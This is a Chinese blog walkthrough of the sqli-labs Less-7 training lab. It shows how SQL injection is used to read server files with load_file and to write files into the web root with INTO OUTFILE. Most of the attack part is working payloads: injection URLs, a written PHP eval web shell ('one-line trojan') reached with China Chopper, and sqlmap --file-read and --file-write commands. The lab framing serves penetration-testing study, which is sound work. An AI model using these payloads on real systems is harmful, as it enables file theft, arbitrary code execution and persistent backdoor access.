利用SQL注入进行文件读写(详细步骤的实现+图)【靶场:sqli-labs/Less-7】

原理啊,成因啊就不再啰嗦了,直接上实现过程。

一)环境:

攻击机:192.168.67.140
目标主机:192.168.67.143

二)实际操作:

利用mysql的读写文件函数进行文件的读取:

在目标主机的(win7-2)E盘下新建一个flag.txt文件,可以通过输入 select load_file("E:\\flag.txt"); 命令读取指定路径下的flag.txt文件的内容:
在这里插入图片描述
在这里插入图片描述
在实际中通过漏洞利用进行文件读取:

在攻击机(win7-1)中访问存在SQL注入的网站(如目标主机win7-2中的sqli-labs)中构造url:

http://192.168.67.143/sqli/Less-1/?id=-1' union select 1,load_file("F:\\flag.txt"),3 --+   #一定要知道文件的绝对路径

在这里插入图片描述
2)MySQL注入写文件(要先知道目标主机相关绝对路径)

如果是实际的环境就会有一台攻击机(hacker机器)【192.168.67.140】,一台目标主机(目标用户的机器)【192.168.67.143】,然后攻击者在攻击机中访问 http://192.168.67.143/sqli/Less-7/?id=1')) order by 3 --+ ,接着在攻击机中访问 http://192.168.67.143/sqli/Less-7/?id=1')) union select 1,'<?php phpinfo();?>',3 into outfile 'C:\\phpstudy\\PHPTutorial\\WWW\\sqli\\Less-7\\1.php' --+ 此时就会在目标主机中写入一个攻击者想要写入的1.php文件,如果这个写入的文件是攻击者准备好的木马文件那么,目标主机就被写入了一个木马文件,那么攻击者就可以利用中国菜刀进行连接到目标主机获得其所有目录。

接着在存在SQL注入的网站(如sqli-labs)中构造url:

http://192.168.67.143/sqli/Less-7/?id=1')) order by 3 --+   说明有3个字段位置

在这里插入图片描述
在这里插入图片描述

192.168.67.143/sqli/Less-7/?id=-1')) union select 1,'<?php phpinfo();?>',3 into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\1.php' --+

此时就将 phpinfo() 的内容写入到目标主机192.168.67.143 的 E:\phpStudy\WWW\sqli\Less-7 路径下并创建一个1.php文件

效果图:
原本 E:\phpStudy\WWW\sqli\Less-7 路径下没有1.php文件:
在这里插入图片描述

利用SQL注入写文件之后 E:\phpstudy\PHPTutorial\WWW\sqli\Less-7 路径下自动生成1.php文件:
在这里插入图片描述
此时可以使用攻击机浏览器访问192.168.67.143/sqli/Less-7/1.php:
在这里插入图片描述
3)写入webshell(一句话木马,并使用菜刀进行连接)
在攻击机中构造url:

192.168.67.143/sqli/Less-7/?id=-1')) union select 1,'<?php @eval($_POST["x"]);?>',3 into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\2.php' --+

在这里插入图片描述
此时就将一句话木马写入到目标主机192.168.67.143 的 E:\phpStudy\WWW\sqli\Less-7 路径下并创建一个2.php文件
在这里插入图片描述
接着利用中国菜刀连接:
在这里插入图片描述
此时就可以在攻击机中查看目标主机的完整目录。

4)sqlmap安全测试

python sqlmap.py -hh  #查看详细的帮助信息
读文件:--file-read "要读取的文件所在绝对路径"
       python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-read "E://flag1.txt"   
写文件(将本地文件上载到数据库服务器的文件系统):--file-write="要保存到服务器的本地文件(必须是在本地也就是攻击机中已经存在的文件)" --file-dest "本地也就是攻击机中已经存在的文件要在目标网站中保存的地址"
       python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-write="E://flag.txt" --file-dest "E://"

在这里插入图片描述
在这里插入图片描述

python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-read "E://flag1.txt" --batch

在这里插入图片描述

结果:
在这里插入图片描述
在这里插入图片描述

python sqlmap.py -u "http://192.168.67.140/sqli/Less-7/?id=1" --file-write "E://flag.txt" --file-dest "E://target.txt" --batch

在这里插入图片描述

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值